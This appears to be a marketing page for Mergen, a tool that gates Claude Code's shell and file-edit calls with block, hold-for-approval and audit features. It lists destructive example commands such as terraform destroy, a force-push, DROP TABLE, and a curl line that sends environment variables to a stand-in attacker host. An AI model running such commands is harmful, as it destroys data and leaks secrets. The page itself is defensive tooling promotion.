Secure Claude Code agents with a deterministic execution gate

Claude Code will run whatever command it believes solves the task, and a prompt telling it to "be careful with production" is a suggestion, not a control. If the agent decides `terraform destroy` or a force-push is the answer, nothing in the prompt stops the process from executing.

Mergen adds the missing enforcement layer. It evaluates every covered tool call against your policy, locally and in milliseconds, before the handler runs: safe calls PASS, destructive calls are BLOCKED with a structured explanation the agent can act on, and risky-but-legitimate calls HOLD for a human approve/deny in Slack.

What is covered, precisely

Claude Code's built-in Bash and Edit/Write/MultiEdit tools are covered via a PreToolUse hook that `mergen-server setup` installs once per machine: a genuine pre-write block. A genuine policy BLOCK exits with code 2, which is the only exit code Claude Code treats as "stop this tool call."
Raw shell commands typed outside Claude Code are not covered: run them through `mergen-server exec -- <cmd>` to get the same gate explicitly.

Set up in three commands

Install the server

npm install -g mergen-server

Install integrations (Claude Code connection + Bash hook)

mergen-server setup

Start the gate

mergen-server start

What gets stopped

terraform destroy -auto-approve

Immutable hard-safety policy: no confidence level or agent persuasion bypasses it.

git push --force origin main

Escalated to HOLD; if a prior override or incident matches, the reason cites it.

DROP TABLE users;

Hard-safety BLOCK: never runs, and there is no approval to wait for.

curl $EVIL/exfil?d=$(env)

Structural env-var exfiltration detection: blocked, and obfuscated variants are tracked in the benchmark corpus.

Human-in-the-loop approvals

When a call is held, the agent is told it is waiting for you and waits. You approve or deny it in the editor panel, the CLI (`mergen approvals`), the local dashboard, or, on paid plans, an approve/deny message in Slack whose clicker is signature-verified and checked against the hold’s routing. An approved call runs once; the agent does not have to restart its task.

Holds fail closed: an unanswered hold auto-denies after 15 minutes, and every decision lands in the append-only audit ledger.

The blocked response is a structured error with "why" and "what to do instead": Claude Code reads it and reformulates within policy instead of stalling.

Install Mergen →Quick start guide →See the benchmark →

Also available for: Codex CLI · Cursor · Windsurf · VS Code